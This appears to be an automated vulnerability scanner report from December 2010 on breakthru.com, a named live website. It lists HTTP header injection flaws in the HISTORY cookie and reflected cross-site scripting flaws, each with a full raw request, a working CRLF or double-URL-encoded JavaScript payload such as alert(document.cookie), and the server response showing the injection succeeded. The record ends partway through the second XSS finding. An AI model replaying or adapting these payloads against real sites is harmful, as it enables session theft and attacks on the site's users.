breakthru.com | CWE-79 | XSS | Vulnerability Crawler Report

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Vulnerability Crawler Report for breakthru.com, Cross Site Scripting, XSS

Report generated by XSS.CX at Fri Dec 10 10:45:32 CST 2010.


Contents

1. HTTP header injection

1.1. http://breakthru.com/ [HISTORY cookie]

1.2. http://breakthru.com/go/g43369.subffadult [HISTORY cookie]

1.3. http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd [HISTORY cookie]

1.4. http://breakthru.com/p/help.cgi [HISTORY cookie]

1.5. http://breakthru.com/p/partners/main.cgi [HISTORY cookie]

2. Cross-site scripting (reflected)

2.1. http://breakthru.com/go/g43369.subffadult [REST URL parameter 2]

2.2. http://breakthru.com/go/g43369.subffadult5a320%22%3balert%28document.cookie%29%2f%2f5d0e77ef8bd [REST URL parameter 2]

2.3. http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd [REST URL parameter 2]

2.4. http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd [REST URL parameter 2]

2.5. http://breakthru.com/ [Referer HTTP header]

2.6. http://breakthru.com/go/g43369.subffadult [Referer HTTP header]

2.7. http://breakthru.com/go/g43369.subffadult5a320%22%3balert%28document.cookie%29%2f%2f5d0e77ef8bd [Referer HTTP header]

2.8. http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd [Referer HTTP header]

2.9. http://breakthru.com/p/help.cgi [Referer HTTP header]

2.10. http://breakthru.com/p/partners/main.cgi [Referer HTTP header]



1. HTTP header injection  next
There are 5 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


1.1. http://breakthru.com/ [HISTORY cookie]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://breakthru.com
Path:   /

Issue detail

The value of the HISTORY cookie is copied into the Set-Cookie response header. The payload 5df06%0d%0a5d16dc56019 was submitted in the HISTORY cookie. This caused a response containing an injected HTTP header.

Request

GET / HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: HISTORY=5df06%0d%0a5d16dc56019; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:26:08 GMT
Server: Apache
Set-Cookie: break_who=r,joAbSQmMS5Qp3c3FMylZ2QWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:08 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:08 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:08 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:08 GMT
Set-Cookie: HISTORY=20101210-1-5df06
5d16dc56019
D; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:08 GMT
Set-Cookie: click_id_time=1270708854_2010-12-10 07:26:08; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:08 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii32-27.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=132
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 13483

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...

1.2. http://breakthru.com/go/g43369.subffadult [HISTORY cookie]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://breakthru.com
Path:   /go/g43369.subffadult

Issue detail

The value of the HISTORY cookie is copied into the Set-Cookie response header. The payload 14215%0d%0a7e220e4cb72 was submitted in the HISTORY cookie. This caused a response containing an injected HTTP header.

Request

GET /go/g43369.subffadult HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: HISTORY=14215%0d%0a7e220e4cb72; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:26:09 GMT
Server: Apache
Set-Cookie: break_who=r,Laa8sluC4JCIhiS48yaRYX1V41WXfZFV6HmEd_huqojpJmQ4Ium3GALZCosxtuU4wzZTndhUiRl1liJ7cUJsBkamUfOeHH1f6IZjttIkqYxTkQazIrI4NoEsH__vJWagQPGz/h0BDwRxj4IialwPsQ--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:09 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:09 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:09 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:09 GMT
Set-Cookie: HISTORY=20101210-1-14215
7e220e4cb72
Dc; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:09 GMT
Set-Cookie: click_id_time=385509879_2010-12-10 07:26:09; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:09 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii73-17.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=133
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 12555

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...

1.3. http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd [HISTORY cookie]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://breakthru.com
Path:   /go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd

Issue detail

The value of the HISTORY cookie is copied into the Set-Cookie response header. The payload 25747%0d%0af73cf0f96eb was submitted in the HISTORY cookie. This caused a response containing an injected HTTP header.

Request

GET /go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd HTTP/1.1
Host: breakthru.com
Proxy-Connection: keep-alive
Referer: http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: break_who=r,LVqYnpdRNbaNmhEZKeU5dwWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; v_hash=_english_; IP_COUNTRY=United States; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; HISTORY=25747%0d%0af73cf0f96eb; REFERRAL_URL=; click_id_time=682836376_2010-12-10 07:21:53; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmb=147063780.0.10.1291994469; __utmc=147063780

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:27:16 GMT
Server: Apache
Set-Cookie: break_who=r,rWxN/MullI5lypolakoxfwWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:27:16 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:27:16 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:27:16 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:27:16 GMT
Set-Cookie: HISTORY=20101210-1-25747
f73cf0f96eb
Dc; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:27:16 GMT
Set-Cookie: REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; path=/; domain=.breakthru.com; expires=Sat, 11-Dec-2010 03:27:16 GMT
Set-Cookie: click_id_time=1233977729_2010-12-10 07:27:16; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:27:16 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii32-27.friendfinderinc.com
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 13708

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...

1.4. http://breakthru.com/p/help.cgi [HISTORY cookie]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://breakthru.com
Path:   /p/help.cgi

Issue detail

The value of the HISTORY cookie is copied into the Set-Cookie response header. The payload 31701%0d%0a75bdd2ee1da was submitted in the HISTORY cookie. This caused a response containing an injected HTTP header.

Request

GET /p/help.cgi HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: HISTORY=31701%0d%0a75bdd2ee1da; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:26:10 GMT
Server: Apache
Set-Cookie: break_who=r,UknV60_BtzrOeUgQPSp5HgWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:10 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:10 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:10 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:10 GMT
Set-Cookie: HISTORY=20101210-1-31701
75bdd2ee1da
Dh; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:10 GMT
P3P: CP="DSP LAW"
X-ApacheServer: ii73-17.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=145
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 17203

<html>
<head>
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.css" />
<link rel="shortcut icon" type="image/x-icon" href="http://graphics.breakthru.c
...[SNIP]...

1.5. http://breakthru.com/p/partners/main.cgi [HISTORY cookie]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://breakthru.com
Path:   /p/partners/main.cgi

Issue detail

The value of the HISTORY cookie is copied into the Set-Cookie response header. The payload 97600%0d%0aa5dfce66be9 was submitted in the HISTORY cookie. This caused a response containing an injected HTTP header.

Request

GET /p/partners/main.cgi HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: HISTORY=97600%0d%0aa5dfce66be9; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:26:15 GMT
Server: Apache
Set-Cookie: break_who=r,EcrEBpaPm_GMDKF9JX7ghAWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:15 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:15 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:15 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:15 GMT
Set-Cookie: HISTORY=20101210-1-97600
a5dfce66be9
Df; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:15 GMT
P3P: CP="DSP LAW"
X-ApacheServer: ii73-17.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=125
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 50310

<html>
<head>
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.css" />
<link rel="shortcut icon" type="image/x-icon" href="http://graphics.breakthru.c
...[SNIP]...

2. Cross-site scripting (reflected)  previous
There are 10 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://breakthru.com/go/g43369.subffadult [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://breakthru.com
Path:   /go/g43369.subffadult

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5a320%2522%253balert%25281%2529%252f%252f5d0e77ef8bd was submitted in the REST URL parameter 2. This input was echoed as 5a320";alert(1)//5d0e77ef8bd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /go/g43369.subffadult5a320%2522%253balert%25281%2529%252f%252f5d0e77ef8bd HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:08:49 GMT
Server: Apache
Set-Cookie: break_who=r,lppYKxgF/uKSs57P5FTKtM_HzS/Vz2mhLU_cXPG_e4PpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLX8sX0x9UhfE_ewrXktrqJUv2kxzLLN5Bz2OMTpFoq4W8NDNeeqFITkfSTkHoDZZiEqem2YLx7Ul5/7tt7Neh/C2xer8JPywuu2681cyn/QYa; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:49 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:49 GMT
Set-Cookie: break_tr=r,ixy2GvCQOXBk1fZ4O3vxy/5mt_FRkMJiposi_fjDvEGYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:49 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:49 GMT
Set-Cookie: HISTORY=20101210-1-Dc; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:49 GMT
